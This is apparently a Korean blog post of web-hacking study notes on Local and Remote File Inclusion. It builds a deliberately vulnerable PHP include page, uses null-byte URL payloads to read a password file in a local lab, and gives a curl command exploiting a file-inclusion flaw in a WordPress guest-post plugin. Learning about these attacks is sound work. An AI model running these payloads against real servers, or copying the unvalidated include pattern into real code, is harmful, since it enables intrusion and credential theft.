일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 정보시스템
- metasploit
- HTML Injection
- todo List
- SQL Injection
- 써니나타스
- meterpreter
- CSRF
- study
- 취약점
- 미터프리터
- StringBuilder
- leetcode
- programmers
- SQLMap
- ToDoList
- stock price
- 모의해킹
- wpscan
- Algorithm
- todo
- Router
- Suninatas
- java
- algotithm
- 라우터
- 모드 설정
- 웹해킹
- 취약점진단
- hackerrank
- Today
- Total
보안 / 개발 챌린저가 목표
LFI & RFI 본문
▶ LFI & RFI
- LFI & RFI
§ Local과 Remote에 대한 File Inclusion(파일 포함)을 의미.
§ 해킹으로 말하자면, LFI와 RFI를 이용하여 웹 서버에 악성 코드를 넣는 기법.
§ ex) PHP의 include 함수 → 특정 파일을 포함시켜 스크립트를 실행.
§ LFI : 서버에 FTP나 자료실로 악성 코드를 업로드시켜 include 시킴.
§ RFI : 외부 서버의 악성 코드를 불러와 include 시킴.
Injection (SQL Injection) |
- 외부에서 특정 코드를 주입하는 방식의 해킹 기법 - SQL 문구를 강제로 주입하여 특정 SQL 구문으로 해킹하는 방법 |
Inclusion (File Inclusion) |
- 내외부에서 특정 파일을 포함시키는 방식의 해킹 기법 - 파일을 포함시켜 취약점을 공격하는 기법 |
▷ LFI 공격 실습 과정
① 색상을 선택하면 해당 색상의 글자가 나오는 프로그램 제작하기.
<!-- color.html -->
<center>
<form action="vulnerable.php" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
</center>
/* red.php */
<center>
<font color='red'><h1>RED</h1></font>
</center>
/* blue.php */
<center>
<font color='blue'><h1>BLUE</h1></font>
</center>
/* vulnerable.php */
<?php
if(isset($_GET['COLOR'])) // GET 방식을 통해 변수를 받아옴
$color = $_GET['COLOR'];
include($color.'.php'); // 변수값이 불러올 파일이름이 되고 이를 읽음
?>
② LFI 공격으로 공격자가 원하는 파일 포함시키기.
/* hello.txt */
<center>
<?php
$color = 'hello';
echo "user : ".$color."\n\n";
?>
</center>
- 업로드한 hello 악성 코드를 실행하기 위해서는 해당 파일을 일반 텍스트 파일로 인식하게 해야함.
- 이 때, vulnerable.php의 include($color.'.php')에 hello.txt를 넣으면 에러가 발생한다.
- 에러가 발생한 이유는 hello.txt만 포함시키고 싶은데, vulnerable.php는 파일명을 받아 뒤에 .php 확장자를 붙이기 때문이다.
- 전달 ⇒ C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt
- 결과 ⇒ C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt.php
- C는 문자열 처리 시 문자열 끝에 마지막을 의미하는 Null Byte(0x00)를 넣는다.
- 이를 응용하여 전달 변수에 Null Byte를 넣어 php 확장자를 제거한다. → %00 사용!
- http://127.0.0.1/201013/vulnerable.php?COLOR=C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt%00
③ Temp 폴더에 password.txt 파일을 만들어 저장.
- 파일의 내용은 Sean/qwer1234
- Temp 폴더는 웹 서버와는 전혀 상관없는 시스템의 폴더.
- http://127.0.0.1/lfi/vulnerable.php?COLOR=C:\Temp\password.txt%00
⇒ LFI 공격으로 시스템의 패스워드를 해킹 성공!
▶ cURL을 통한 공격
- cURL (command line tool for transferring files with URL syntax)
§ 커맨드 라인으로 HTTP 프로토콜 등의 데이터를 전송하는 도구.
§ HTTP뿐만 아니라 HTTPS, FTP, LDAP, SCP, TELNET, SMTP, POP3 등 대부분의 주요 프로토콜을 지원.
§ 우리가 보는 웹 브라우저의 통신을 커맨드로 주고받는다는 의미.
→ 우리가 주요 사용할 옵션 : -X, --request
☞ HTTP에서 POST, GET, PUT, DELETE 등의 명령어를 수행.
① 모든 환경이 정상이라면 다음과 같이 나옴.
# curl --url http://192.168.0.132/lfi/color.html
< 웹 해킹의 순서 >
② 서버에 자신의 password.txt 파일을 생성.
③ 워드프레스 관리자 화면에서 플러그인 Really Simple Guest Post 1.0.6 설치.
- 이 플러그는 File Include 관련 취약점이 보고된 파일.
- https://www.exploit-db.com/exploits/37209/ 에서 참고!
④ Kali에서 명령어 실행하여 공격.
# curl -X POST -F "rootpath=C:\password.txt" --url http://192.168.0.132/wordpress/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
- LFI 공격으로 root 계정의 패스워드 qwwert를 얻음.
* [소스 경로] C:\APM_Setup\htdocs\wordpress\wp-content\plugins\really-simple-guest-post\simple-guest-post-submit.php
- 취약한 부분은 require_once 함수 부분.
- rootpath 경로명을 입력받아 파일을 한 번만 포함(include).
- 이는 사용자의 입력 값을 검증하지 않고 curl을 통해 임의의 패스워드 파일을 포함시킨다는 것.
'IT Security > Web hacking Study' 카테고리의 다른 글
HTML Injection (0) | 2020.11.10 |
---|---|
Metasploit (0) | 2020.11.10 |
Scan (0) | 2020.10.27 |
SQL Injection (0) | 2020.10.15 |
PHP에 대한 전반적인 이해 (0) | 2020.09.12 |